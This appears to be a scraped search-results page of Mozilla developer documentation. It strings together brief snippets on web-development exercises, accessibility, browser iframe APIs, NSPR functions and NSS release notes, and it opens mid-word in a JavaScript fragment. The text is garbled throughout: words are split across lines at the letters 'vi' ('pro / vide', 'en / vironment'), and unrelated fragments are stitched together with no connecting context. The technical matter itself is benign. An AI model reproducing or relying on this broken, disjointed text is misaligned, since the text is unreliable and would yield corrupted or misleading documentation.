viouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.pre
viouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventliste...
Test your skills: HTML5 controls - Learn web development
html5 controls 2 next, we want you to implement a slider control to allow the user to choose a maximum number of people to in
vite to their party.
... implement a basic slider control to go along with the pro
vided label.
...give it a class of in
vite-output, and semantically associate it with the input.
Dealing with files - Learn web development
pre
vious over
view: getting started with the web next a website consists of many files: text content, code, stylesheets, media content, and so on.
... file paths to make files talk to one another, you have to pro
vide a file path between them — basically a route, so one file knows where another one is.
...your folder structure should look something like this: pre
vious over
view: getting started with the web next in this module installing basic software what will your website look like?
Use JavaScript within a webpage - Learn web development
if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than pro
viding an src attribute.
...it takes extra time to na
vigate with the keyboard or hear content read out.
... if you're only looking for simple
visual effects, css can often get the job done even more intuitively.
HTML Tables - Learn web development
note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for
visually impaired users.
... assessments structuring planet data in our table assessment, we pro
vide you with some data on the planets in our solar system, and get you to structure it into an html table.
Asynchronous JavaScript - Learn web development
get started prerequisites asynchronous javascript is a fairly advanced topic, and you are ad
vised to work through javascript first steps and javascript building blocks modules before attempting this.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch.
... handling async operations gracefully with promises promises are a comparatively new feature of the javascript language that allow you to defer further actions until after the pre
vious action has completed, or respond to its failure.
Test your skills: Events - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all
via javascript.
...to pass this assessment you need to build an event handler that moves the circle around the pro
vided canvas when the wasd keys are pressed on the keyboard.
... we want you to solve this without looping through all the buttons and gi
ving each one their own event listener.
Test your skills: Arrays - Learn web development
here you are pro
vided with a string to work with.
... we'd like you to: convert the string into an array, remo
ving the + characters in the process.
... arrays 3 for this final array task, we pro
vide you with a starting array, and you will work in somewhat the opposite direction.
Test your skills: Strings - Learn web development
strings 2 in this task you are pro
vided with two variables, quote and substring, which contain two strings.
... use a combination of the variables you have and available string properties/methods to trim down the original quote to "i do not like green eggs and ham.", and store it in a variable called re
visedquote.
... strings 3 in the next string task, you are given the same quote that you ended up with in the pre
vious task, but it is somewhat broken!
Useful string methods - Learn web development
pre
vious over
view: first steps next now that we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
... retrie
ving a specific string character on a related note, you can return any character inside a string by using square bracket notation — this means you include square brackets ([]) on the end of your variable name.
... pre
vious over
view: first steps next in this module what is javascript?
Test your skills: JSON - Learn web development
the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the pro
vided promise chain (which starts by fetching the json data) is fulfilled.
... some hints/questions: the json data is pro
vided as text inside the displaycatinfo() function.
...the example won't work locally, or in an en
vironment like codepen or jsfiddle, because of something called cross-origin security.
Properly configuring server MIME types - Learn web development
ser
ving content using the correct mime type can also be important for security reasons; it's possible for malicious content to affect the user's computer by pretending to be a safe type of document when it is in fact not.
... why browsers should not guess mime types apart from
violating the http specification, it is a bad strategy for browsers to guess mime types for the following reasons: loss of control if the browser ignores the reported mime type, web administrators and authors no longer have control over how their content is to be processed.
...you can also use rex swain's http
viewer or live http headers to see the full headers and content of any file sent from a web server.
Accessibility Information for Core Gecko Developers
html accessibility dynamic web content is not accessible because it uses vanilla <div>s and <span>s combined with javascript rather than declarative markup to describe the beha
vior of custom widgets such as menus and tree
views.
... join the mozilla accessibility community live chat both end users and developers are in
vited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
... newsgroup and mailing list we have two discussion lists, which can be read
via a newsgroup reader, as a mailing list or
via google groups.
Information for External Developers Dealing with Accessibility
yboard for mac os x: this document list all functions of specified keys, known keyboard shortcuts, explains how to create keyboard shortcuts, explains appropriate use for the arrow keys, how to move the insertion point with keys, how to extent text selection with keys, functions of function keys, what are reserved keyboard shortcuts, how to create your own keyboard shortcuts, keyboard focus and na
vigation, type-ahead and key-repeat, etc.
... join the mozilla accessibility community live chat both end users and developers are in
vited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
... newsgroup and mailing list we have two discussion lists, which can be read
via a newsgroup reader, as a mailing list or
via google groups.
Information for users
assistive technology compatibility this is a wiki page which users can edit to pro
vide up to date information on any issues related to compatibility with assistive technologies such as screen readers, screen magnifiers, voice input software and on screen keyboards.
... firefox accessibility skins and themes at the excellent access firefox website, you will find many valuable resources, including a list of firefox themes that have been specially designed for those with low
vision: themes with high color constrast themes with big icons themes with extra large and bright icons themes with extra large and extra bold text join the mozilla accessibility community live chat both end users and developers are in
vited for discussion on the live irc channel at irc.mozilla.org/#accessibility.
... newsgroup and mailing list we have two discussion lists, which can be read
via a newsgroup reader, as a mailing list or
via google groups.
Benchmarking
the poisoning can be disabled by setting the en
vironment variable jsgc_disable_poisoning=1 before starting the browser.
... another option that is on by default in non-release builds is the preference javascript.options.asyncstack, which pro
vides better debugging information to developers.
... accelerated graphics especially on linux, accelerated graphics can sometimes lead to severe performance problems even if things look ok
visually.
Capturing a minidump
when the program is about to crash, windbg will spit out more data, and the prompt at the bottom will change from saying "*busy*" to ha
ving a number in it.
... file size will depend on this size of firefox running in your en
viroment, which could several gb.
... capturing a minidump: application hang on windows
vista and windows 7, you can follow these instructions to capture a dump file and locate it after it's been saved.
Makefile - variables
libobjs have_dtrace sun microsystem's dynamic tracing en
vironment is available.
... xpidl_name name of extension to build see also configure.sh variables description build_project_arg command line/en
vironment override configure_env_args command line/en
vironment override directory variable dirs a list of subdirectories to build recursively.
... dest=$(moz_objdir)/$project moz_current_project moz_debug moz_enable_xremote moz_feeds moz_help_
viewer moz_native_nspr moz_metro moz_pkg_mainfest moz_preflight_all moz_rdf moz_toolkit_search moz_url_classifier moz_widget_toolkit android, beos, cocoa, gtk2, os2, qt, windows moz_xpcto...
Updating NSPR or NSS in mozilla-central
do not check in indi
vidual changes.
... if you check in an indi
vidual change by mistake, your change will be lost when the nspr and nss teams push a new hg tag to mozilla-central.
... check for new or removed files $ hg addremove -n re
view the output to make sure it looks correct update the minimum required system nss version in old-configure.in.
Callgraph
for instance, given the c++ code: int foo() { return good(); } int good() { return e
vil() ?
... 0 : 1; } the callgraph would be foo() -> good() -> e
vil().
... given the knowledge that e
vil() does e
vil things, one could then determine foo() also does e
vil things.
HTMLIFrameElement.findAll()
note: use of the browser api requires a pri
vileged app, and browser and/or embed-apps permissions, depending on what you want to do.
... syntax instanceofhtmliframeelement.findall(searchstring, casesensiti
vity); returns void.
... casesensiti
vity a string to declare whether you want the search to be case sensitive (case-sensitive) or insensitive (case-insensitive.) example the following function is taken from our browser api demo, and executes a search when a search form is submitted.
HTMLIFrameElement.goBack()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the goback() method of the htmliframeelement interface is used to na
vigate backwards in the browser <iframe>'s history.
... by calling this method, the browser <iframe> changes its location for the pre
vious location available in its na
vigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
HTMLIFrameElement.goForward()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the goforward() method of the htmliframeelement is used to na
vigate forward in the browser <iframe>'s history.
... by calling this method, the browser <iframe> changes its location to the next location available in its na
vigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart and so on.
mozbrowserasyncscroll
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... width the width in css pixels of the
visible part of the document within the browser <iframe>.
... height the height in css pixels of the
visible part of the document within the browser <iframe>.
mozbrowserscroll
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... details the details property returns an anonymous javascript object with the following properties: top a number representing the new vertical scroll position of the <iframe>
viewport — in css pixels — from the top of the
viewport.
... left a number representing the new horizontal scroll position of the <iframe>
viewport — in css pixels — from the left of the
viewport.
mozbrowserscrollareachanged
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... details the details property returns an anonymous javascript object with the following properties: width a number representing the new scroll area width of the <iframe>
viewport, in css pixels.
... height a number representing the new scroll area height of the <iframe>
viewport, in css pixels.
mozbrowserselectionstatechanged
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...
visible a boolean indicating whether the current selection is
visible (true) or not (false).
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserselectionstatechanged", function( event ) { if(event.details.
visible) { console.log("the current selection is
visible."); } else { console.log("the current selection is not
visible."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
HTMLIFrameElement.sendMouseEvent()
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... x a number representing the x position of the cursor relative to the browser <iframe>'s
visible area in css pixels.
... y a number representing the y position of the cursor relative to the browser <iframe>'s
visible area in css pixels.
HTMLIFrameElement.sendTouchEvent()
note: this method is available for touch-enabled de
vices only.
... x an array of numbers representing the x position of each touch point relative to the browser <iframe>'s
visible area in css pixels.
... y an array of numbers representing the y position of each touch point relative to the browser <iframe>'s
visible area in css pixels.
Chrome-only API reference
this page lists apis that only run in gecko chrome code (and sometimes in other pri
vileged circumstances).
...it currently works in (pri
vileged) chrome code on firefox desktop (version 47 and above).chromeworkerif you're developing pri
vileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
... it works exactly like a standard worker, except that it has access to js-ctypes
via a global ctypes object available in the global scope of the worker.
overflow-clip-box
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...prior to firefox 29, this beha
vior was hardcoded; since then it uses this property that can be used elsewhere too.
... initial valuepadding-boxapplies toall elementsinheritednomedia
visualcomputed valueas specifiedanimation typediscretecanonical orderthe unique non-ambiguous order defined by the formal grammar syntax values padding-box this keyword makes the clipping be related to the padding box.
Embedding Mozilla
mozilla embedding apis over
view introduction to the mozilla embedding apis.
...
view all...
... community
view mozilla forums...
Getting Started with Chat
these operate very much in the same way as the pre
viously mentioned desktop clients and chatzilla.
... firebot firebot is a bot which assists with mozilla related acti
vities on irc.
... /in
vite firebot #channel adds firebot to the specified channel.
How to get a process dump with Windows Task Manager
it is ad
visable to create a new, blank profile to use when reproducing the hang and capturing the memory dump.
... requirements windows to get a process dump, you need to be using windows
vista or above.
... see also how to get a stacktrace for a bug report [en-us] how to create a user-mode process dump file in windows
vista and in windows 7 (msdn) ...
How to investigate Disconnect failures
we cannot investigate failures
via mozmill, because we do not catch the crashes, so the crashes' information is not logged; we have to go to ci machines and investigate directly.
... check the event
viewer to check if an os event interfered with the test run.
... the event
viewer can be found on windows: computer management > event
viewer > windows logs > application and here we look for errors that overlapped with the test run; we cannot see the freezes (the main thread is blocked).
FxAccountsOAuthClient.jsm
the fxaccountsoauthclient.jsm javascript module pro
vides a way for browser ser
vices to authenticate with the firefox accounts oauth server.
... components.utils.import("resource://gre/modules/fxaccountsoauthclient.jsm"); creating a new fxaccountsoauthclient new fxaccountsoauthclient(object options); method over
view launchwebflow(); teardown(); attributes parameters object returns the set of parameters that initialized the firefox accounts oauth flow.
... [optional] action - if pro
vided, should be either "signup" or "signin".
Http.jsm
http.jsm http.jsm pro
vides httprequest - a wrapper for xmlhttprequest that pro
vides convenient and simplified api for dealing with http requests.
...the data can be specified
via postdata option.
...if the pro
vided postdata is a string, the content type isn't touched.
Deferred
a deferred object is returned by the obsolete promise.defer() method to pro
vide a new promise along with methods to change its state.
...for example, the equivalent of var deferred = promise.defer(); dosomething(function cb(good) { if (good) deferred.resolve(); else deferred.reject(); }); return deferred.promise; would be return new promise(function(resolve, reject) { dosomething(function cb(good) { if (good) resolve(); else reject(); }); }); method over
view void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
...if this value is a promise, then the associated promise will be resolved to the passed promise, and follow the state as the pro
vided promise (including any future transitions).
Promise.jsm
the method returns a new promise that, in turn, is fulfilled or rejected depending on the state of the original promise and on the beha
vior of the callbacks.
... method over
view deferred defer(); obsolete since gecko 30 promise resolve([optional] avalue); promise reject([optional] areason); methods defer() creates a new pending promise and pro
vides methods to resolve or reject it.
...it will eventually assume the same state as the pro
vided promise.
Deferred
a deferred object is returned by the promiseutils.defer() method to pro
vide a new promise along with methods to change its state.
... method over
view void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
...if this value is a promise, then the associated promise will be resolved to the passed promise, and follow the state as the pro
vided promise (including any future transitions).
WebChannel.jsm
the webchannel.jsm javascript code module pro
vides an abstraction that uses the message manager and custom events apis to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsipermissionmanager while also ensuring the scheme is https).
... method over
view listen(function callback); stoplistening(); send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the callback for messages on this channel.
... examples setting up a webchannel between chrome code and a webpage chrome code let channel = new webchannel(webchannelid, ser
vices.io.newuri("https://mozilla.org", null, null)); // receive messages channel.listen(function (webchannelid, message, sendercontext) { // send messages channel.send({ data: { greeting: true } }, sendercontext); }); webpage code receive messages from an existing webchannel in content code window.addeventlistener("webchannelmessagetocontent", function(e) { // receive messages consol...
Localizing XLIFF files for iOS
decide where on your local computer you will store your copy of the github repo and na
vigate there in your terminal.
... <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> <target>your_translation_here</target> </trans-unit> pro
vide translations of the strings in the <source> tag sets by placing their translations in the <target> tag sets beneath them.
... <trans-unit id="add to bookmarks"> <source>add to bookmarks</source> <target>agregar a marcadores</target> <note>no comment pro
vided by engineer.</note> </trans-unit> save your translations along the way.
Localizing with Pontoon
we call all of these translation helpers and here's how each of them will help you as you translate strings: history displays pre
viously suggested translations, including from other users.
... machinery displays matches from various ser
vices: internal translation memory, mozilla trans
vision, open source translation memory, microsoft terminology and machine translation.
... search almost like machinery, but takes pro
vided keyword as input parameter instead of the original string.
Extras
they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser en
vironment.
... other renderers are expected to ignore attributes that they don't understand while the beha
vior of undefined elements is well, undefined.
...k"> <mrow> <mrow> <msub title="base-a log"> <mi>log</mi> <mi>a</mi> </msub> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>x</mi> </mrow> <mrow> <mi title="natural log">ln</mi> <mo>&applyfunction;</mo> <mi>a</mi> </mrow> </mfrac> </mrow> </math> rather than repeating the instructions, some css might be used to pro
vide a
visual cue.
Fonts for Mozilla's MathML engine
installation without administrator pri
vilege if you need to install fonts on a system without adminstrator pri
vilege, the easiest option is to use math font the mathml-fonts add-on.
... note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you
visit as well as web math fonts on all pages with mathml content.
...a list of such math fonts is pro
vided below.
MathML Demo: <mo> - operator, fence, separator, or accent
they can be
viewed as stretched versions of short arrows.
...hence <mo symmetric="true"> must be scripted if the intent is to emulated latex fence beha
vior.
...emulating this beha
vior in mathml would require a context sensitive transaltion.
GPU performance
n
vidia perfhud - last i checked required a special build to be used.
... n
vidia parallel nsight - haven't tried.
...looks like it's designed for x11-based linux-arm de
vices, omap3 is mentioned a lot in the docs ...
dtrace
this article pro
vides a light introduction to it.
... note: the power profiling over
view is worth reading at this point if you haven't already.
...the ordering of the stack traces can be non-ob
vious, so look at them carefully.
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of
visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often
visited pages for fast na
vigation.
... type:boolean default value:true exists by default: no application support: firefox 14.0 status: active; last updated 2012-09-17 introduction: pushed to nightly on 2012-04-13 bugs: bug 726347 values false the application creates screenshots of
visited web pages.
... true (default) the application doesn't create screenshots of
visited web pages.
Midas
midas can be enabled
via javascript on an html document.
... redo this command will redo the pre
vious undo action.
... undo this command will undo the pre
vious action.
NSPR build instructions
you may override the compilers (the cc en
vironment variable) or specify options.
... if the os vendor pro
vides a compiler (for example, sun and hp), nspr uses that compiler instead of gcc by default.
... --target=x86_64-pc-mingw32 for 64-bit builds on windows, when using the mozillabuild en
vironment.
Nonblocking IO In NSPR
introduction pre
viously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous).
...the socket returned by <tt>pr_accept()</tt> or <tt>pr_acceptread()</tt> on a blocking, listening socket may be a recycled socket pre
viously used in a <tt>pr_transmitfile()</tt> call.
...because these constraints only apply to nt, it is ad
vised that you test your cross-platform code that uses nonblocking io on nt early in the development cycle.
Atomic Operations
the functions define a portable api that may be reliably used in any en
vironment.
... since not all operating en
vironments pro
vide access to such functions, their performance may vary considerably.
...on systems that do not pro
vide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms.
Date and Time
nspr pro
vides types and constants for both representations, and functions to convert time values between the two.
... pr_msec_per_sec pr_usec_per_sec pr_nsec_per_sec pr_usec_per_msec pr_nsec_per_msec types and constants types and constants defined for nspr dates and times are: prtime prtimeparameters prexplodedtime time parameter callback functions in some geographic locations, use of daylight sa
ving time (dst) and the rule for determining the dates on which dst starts and ends have changed a few times.
...two often-used callback functions of this type are pro
vided by nspr: prtimeparamfn pr_localtimeparameters and pr_gmtparameters functions the functions that create and manipulate time and date values are: pr_now pr_explodetime pr_implodetime pr_normalizetime ...
Long Long (64-bit) Integers
« pre
viousnext » this chapter describes the global functions you use to perform 64-bit integer operations.
... the functions define a portable api that can be used reliably in any en
vironment.
... 64-bit integer types nspr pro
vides two types to represent 64-bit integers: print64 pruint64 64-bit integer functions the api defined for the 64-bit integer functions is consistent across all supported platforms.
PR_GetInheritedFileMap
imports a prfilemap pre
viously exported by my parent process
via pr_createprocess.
... syntax #include <prshma.h> nspr_api( prfilemap *) pr_getinheritedfilemap( const char *shmname ); parameter the function has the following parameter: shmname the name pro
vided to pr_processattrsetinheritablefilemap.
... description pr_getinheritedfilemap retrieves a prfilemap object exported from its parent process
via pr_createprocess.
NSS Key Log Format
you can tell wireshark where to find the key file
via edit→preferences→protocols→ssl→(pre)-master-secret log filename.
... key logging is enabled by setting the en
vironment variable sslkeylogfile to point to a file.
... note: starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approach is disabled by default for optimized builds using the makefile (those using gyp
via build.sh are not affected).
NSS Memory allocation
see the prototype at http://mxr.mozilla.org/nspr/source/n.../ds/plarenas.h a program should call that function at the very end, after ha
ving shutdown nss and nspr, to really free the contents of the free list.
...to accomplish that, set an en
vironment variable prior to the initialization of nss and nspr.
...set the en
vironment variable nss_disable_arena_free_list to have any non-empty value, e.g.
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feedback introduction network security ser
vices (nss) 3.12.1 is a patch release for nss 3.12.
...both debug and optimized builds are pro
vided.
...new and re
vised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.14.3 release notes
introduction network security ser
vices (nss) 3.14.3 is a patch release for nss 3.14.
... acknowledgements the nss development team would like to thank nadhem alfardan and kenny patterson (royal holloway, university of london) for responsibly disclosing the issue by pro
viding advance copies of their research.
... in addition, thanks to adam langley (google) for the development of a mitigation for the issues raised in the paper, along with emilia kasper and bodo möller (google) for assisting in the re
view and improvements to the initial patches.
NSS 3.14 release notes
introduction the nss team has released network security ser
vices (nss) 3.14, which is a minor release with the following new features: support for tls 1.1 (rfc 4346) experimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default.
...pre
vious releases were released under a mpl 1.1/gpl 2.0/lgpl 2.1 tri-license.
...support for md5 may be manually enabled (but is discouraged) by setting the en
vironment variable of "nss_hash_alg_support=+md5" or by using the nss_setalgorithmpolicy function.
NSS 3.16.2.1 release notes
introduction network security ser
vices (nss) 3.16.2.1 is a patch release for nss 3.16, based on the nss 3.16.2 release.
... nss 3.16.2.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_1_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.16.2.1.
... bugs fixed in nss 3.16.2.1 bug 1064636 - (cve-2014-1568) rsa signature forgery in nss acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by pro
viding advance copies of their research.
NSS 3.16.5 release notes
introduction network security ser
vices (nss) 3.16.5 is a patch release for nss 3.16.
... nss 3.16.5 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_5_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.16.5.
... bugs fixed in nss 3.16.5 bug 1064636 - (cve-2014-1568) rsa signature forgery in nss acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by pro
viding advance copies of their research.
NSS 3.17.1 release notes
introduction network security ser
vices (nss) 3.17.1 is a patch release for nss 3.17.
... nss 3.17.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_1_rtm/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.17.1.
...solution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.1 acknowledgements the nss development team would like to thank antoine delignat-lavaud, security researcher at inria paris in team prosecco, and the advanced threat research team at intel security, who both independently discovered and reported this issue, for responsibly disclosing the issue by pro
viding advance copies of their research.
NSS 3.19.2.1 release notes
introduction network security ser
vices (nss) 3.19.2.1 is a patch release for nss 3.19.2.
... the bug fixes in nss 3.19.2.1 are described in the "security ad
visories" section below.
... nss 3.19.2.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_2_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.19.2.1.
NSS 3.19.2 release notes
introduction network security ser
vices (nss) 3.19.2 is a patch release for nss 3.19 that addresses compatibility issues in nss 3.19.1.
...however, this change in beha
viour unintentionally broke existing nss applications that need to generate or use such keys,
via apis such as seckey_creatersaprivatekey or seckey_createdhprivatekey.
... in nss 3.19.2, this change in freebl beha
viour has been reverted.
NSS 3.19.4 release notes
introduction network security ser
vices (nss) 3.19.4 is a patch release for nss 3.19.
... the bug fixes in nss 3.19.4 are described in the "security ad
visories" section below.
... nss 3.19.4 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_4_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.19.4.
NSS 3.20.1 release notes
introduction network security ser
vices (nss) 3.20.1 is a patch release for nss 3.20.
... the bug fixes in nss 3.20.1 are described in the "security ad
visories" section below.
... nss 3.20.1 and nspr 4.10.10 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_1_rtm/src/ https://ftp.mozilla.org/pub/nspr/releases/v4.10.10/src/ security ad
visories the following security-relevant bugs have been resolved in nss 3.20.1.
NSS 3.21 release notes
introduction the nss team has released network security ser
vices (nss) 3.21, which is a minor release.
...ive ck_tls12_key_mat_params{_ptr} - parameters {or pointer} for ckm_tls12_key_and_mac_derive ck_tls_kdf_params{_ptr} - parameters {or pointer} for ckm_tls_kdf ck_tls_mac_params{_ptr} - parameters {or pointer} for ckm_tls_mac in sslt.h sslhashtype - identifies a hash function sslsignatureandhashalg - identifies a signature and hash function sslpreliminarychannelinfo - pro
vides information about the session state prior to handshake completion new macros in nss.h nss_rsa_min_key_size - used with nss_optionset and nss_optionget to set or get the minimum rsa key size nss_dh_min_key_size - used with nss_optionset and nss_optionget to set or get the minimum dh key size nss_dsa_min_key_size - used with nss_optionset and nss_optionget to set or get th...
...lude a complete dtls record in a udp packet ssl_error_no_supported_signature_algorithm - error code for when no valid signature and hash algorithm is available ssl_error_unsupported_signature_algorithm - error code for when an unsupported signature and hash algorithm is configured ssl_error_missing_extended_master_secret - error code for when the extended master secret is missing after ha
ving been negotiated ssl_error_unexpected_extended_master_secret - error code for recei
ving an extended master secret when pre
viously not negotiated in sslt.h ssl_enable_extended_master_secret - configuration to enable the tls extended master secret extension (rfc 7627) ssl_preinfo_version - used with sslpreliminarychannelinfo to indicate that a tls version has been selected ssl...
NSS 3.23 release notes
introduction the nss team has released network security ser
vices (nss) 3.23, which is a minor release.
... notable changes in nss 3.23 the copy of sqlite shipped with nss has been updated to version 3.10.2 (bug 1234698) the list of tls extensions sent in the tls handshake has been reordered to increase compatibility of the extended master secret with servers (bug 1243641) the build time en
vironment variable nss_enable_zlib has been renamed to nss_ssl_enable_zlib (bug 1243872).
... the build time en
vironment variable nss_disable_chachapoly was added, which can be used to prevent compilation of the chacha20/poly1305 code.
NSS 3.27.1 release notes
introduction network security ser
vices (nss) 3.27.1 is a patch release for nss 3.27.
... pre
vious versions of nss made tls 1.3 (draft) available only when compiled with nss_enable_tls_1_3.
...this resulted in connecti
vity failures, as some tls servers are version 1.3 intolerant, and failed to negotiate an earlier tls version with nss 3.27 clients.
NSS 3.32 release notes
introduction the network security ser
vices (nss) team has released nss 3.32, which is a minor release.
...b7:eb:77:29:fd:cb:6a:8d:99:ae:a7 cn = comsign secured ca sha-256 fingerprint: 50:79:41:c7:44:60:a0:b4:70:86:22:0d:4e:99:32:57:2a:b5:d1:b5:bb:cb:89:80:ab:1c:b1:76:51:a8:44:d2 cn = geotrust global ca 2 sha-256 fingerprint: ca:2d:82:a0:86:77:07:2f:8a:b6:76:4f:f0:35:67:6c:fe:3e:5e:32:5e:01:21:72:df:3f:92:09:6d:b7:9b:85 cn = secure certificate ser
vices sha-256 fingerprint: bd:81:ce:3b:4f:65:91:d1:1a:67:b5:fc:7a:47:fd:ef:25:52:1b:f9:aa:4e:18:b9:e3:df:2e:34:a7:80:3b:e8 cn = swisscom root ca 1 sha-256 fingerprint: 21:db:20:12:36:60:bb:2e:d4:18:20:5d:a1:1e:e7:a8:5a:65:e2:bc:6e:55:b5:af:7e:78:99:c8:a2:66:d9:2e cn = swisscom root ev ca 2 sha-256 fingerprint: d9:5f:ea:3c:a4:ee:dc:e7:4c:d7:6e:75:...
...fc:6d:1f:f6:2c:44:1f:0f:a8:bc:77:f0:34:b1:9e:5d:b2:58:01:5d cn = trusted certificate ser
vices sha-256 fingerprint: 3f:06:e5:56:81:d4:96:f5:be:16:9e:b5:38:9f:9f:2b:8f:f6:1e:17:08:df:68:81:72:48:49:cd:5d:27:cb:69 cn = utn-userfirst-hardware sha-256 fingerprint: 6e:a5:47:41:d0:04:66:7e:ed:1b:48:16:63:4a:a3:a7:9e:6e:4b:96:95:0f:82:79:da:fc:8d:9b:d8:81:21:37 cn = utn-userfirst-object sha-256 fingerprint: 6f:ff:78:e4:00:a7:0c:11:01:1c:d8:59:77:c4:59:fb:5a:f9:6a:3d:f0:54:08:20:d0:f4:b8:60:78:75:e5:8f bugs fixed in nss 3.32 nss versions 3.28.x, 3.29.x.
NSS 3.37 release notes
introduction the nss team has released network security ser
vices (nss) 3.37, which is a minor release.
... added hacl* poly1305 32-bit the code to support the npn protocol, which had already been disabled in a pre
vious release, has been fully removed.
... (the classic implementation for rng seeding on the linux/unix platform, which may use additional sources for the default seeding, is still available and will be used if seed_only_dev_urandom is undefined.) with nss 3.37, this alternative implementation for linux/unix can be selected in "make" builds by defining the en
vironment variable nss_seed_only_dev_urandom.
NSS 3.39 release notes
introduction the nss team has released network security ser
vices (nss) 3.39, which is a minor release.
... pre
vious versions of nss accepted an rsa pkcs#1 v1.5 signature where the digestinfo structure was missing the null parameter.
... the tstclnt and selfserv test utilities no longer accept the -z parameter, as support for tls compression was removed in a pre
vious nss version.
NSS 3.40 release notes
introduction the nss team has released network security ser
vices (nss) 3.40, which is a minor release.
... it is easier to build nss on windows in mozilla-build en
vironments.
... the following ca certificates were removed: cn =
